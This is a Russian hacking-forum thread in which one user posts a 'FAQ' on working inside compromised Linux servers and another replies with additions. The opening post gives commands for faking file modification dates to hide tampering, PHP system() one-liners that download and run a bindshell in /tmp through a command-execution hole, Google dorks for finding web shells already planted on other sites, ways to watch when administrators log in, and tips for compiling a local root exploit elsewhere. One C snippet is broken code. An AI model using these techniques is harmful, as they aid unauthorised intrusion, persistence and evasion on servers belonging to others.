| hackzona.ru |
![]() |
|
|
Опции темы | Опции просмотра |
|
|
#1 |
|
СЕНСЕЙ
|
Написал небольшой фак, может кому интересно будет почитать. Постарался снабдить еще доп. инфой.
q№1. На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую) Решение: Для этих целей в Linux существует команда touch. У нее существует опция -t, которая меняет дату и время модификации файла. Например: Код:
[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html Код:
[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html Код:
int touch (string filename [, int time [, int atime]]) Код:
<?touch ($FileName)?> Если уж разговор зашел о программировании приведу пример и на си. Тут есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа. Опять же небольшой пример: Код:
#include <stdio.h>
#include <sys/stat.h>// необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл) Решение. Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов), т.к. она открыта для всех, и проблем с правами скорее всего не возникнет. Непосредственно загружать файл можно несколькими способами Использовать можно: Код:
wget, get, curl, lynx, links. Для проверки существование программы используем команду which <нужная нам прога> Итак разберем примеры: Код:
[stranger@localhost ~]$cd /tmp //переход в каталог [stranger@localhost ~]$wget http://path.com/file.pl // загрузка [stranger@localhost ~]$chmod 755 file.pl //установка прав [stranger@localhost ~]$perl file.pl //запуск Код:
<? system ('cd /tmp; wget http://path.com/file.file;chmod 755 file.pl; perl file.pl');?>
НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это стандартный консольный браузер. Делается так: Код:
<? system ('cd /tmp; wget lynx -src http://address/shell.txt -O /path/to/shell/shell.php;chmod 755 file.pl; perl file.pl');?>
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение: Код:
standard in must be a tty Решение. Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала). Для уверенности можно набрать команду tty если ответ будет подобен этому: Код:
tty: not a tty Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink. q№4 Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: Код:
"??????#??'??$". Решение. Ответ прост, так же как и задача - такой баннер носит telnet демон. q№5. В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать? Решение. Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет). Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример: Код:
PHPKonsole PHPShell filetype:php -echo А вот этот: Код:
intitle:c99shell filetype:php Думаю суть запросов ясен. q№6. (опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы действовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь? Решение. Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n: Код:
[stranger@localhost ~]$last -n 15 q№7. Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду: Код:
[stranger@localhost ~] which gcc Код:
/usr/bin/which: no gсс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin) Решение: Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора. Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи. Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер. Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно. EOF Есть еще парочка интересных вопросов. Потом дополню. Последний раз редактировалось --StraNger--; 19.11.2009 в 21:13. |
|
|
|
|
|
#2 |
|
Почётный пользователь.
|
q№1.
Тут ничего добавит все уже перечислил (хотя имеется и готовые тулзы для этого) q№2. не только просто загружать удаленно, а можно просто временно редактировать скрипт и прописать свой шелл (хоть где даже в старых темплейтов) q№3. Если есть root к серваку (а не БД) то зачем не юзать SSH ? q№4 Откуда уверенность что это именно телнет а не smtp или просто порт шары или ftp ? рекоменедовал бы шелл eugenshell там много функции для этого q№5. тут это уже слишком )) еще и запросы гуглхака не хватало тут ... q№6. про ограничение Обычного польлзователя где тут написано ? q№7. а тут не увязочка, возможно есть много вариантов если есть доступ к ssh P/S это просто вопросы с моей стороны а не оффтоп и не флейм... Почему стандартные решение уже у готовых (велосипедов,шеллов) про бинпорта не расмотрено или еще почему хоть один сплойт не превели в примере для получение рута (как компилить, лан другая тема) Последний раз редактировалось FIXER; 19.11.2009 в 22:44. |
|
|
|
![]() |
| Здесь присутствуют: 1 (пользователей: 0 , гостей: 1) | |
| Опции темы | |
| Опции просмотра | |
|
|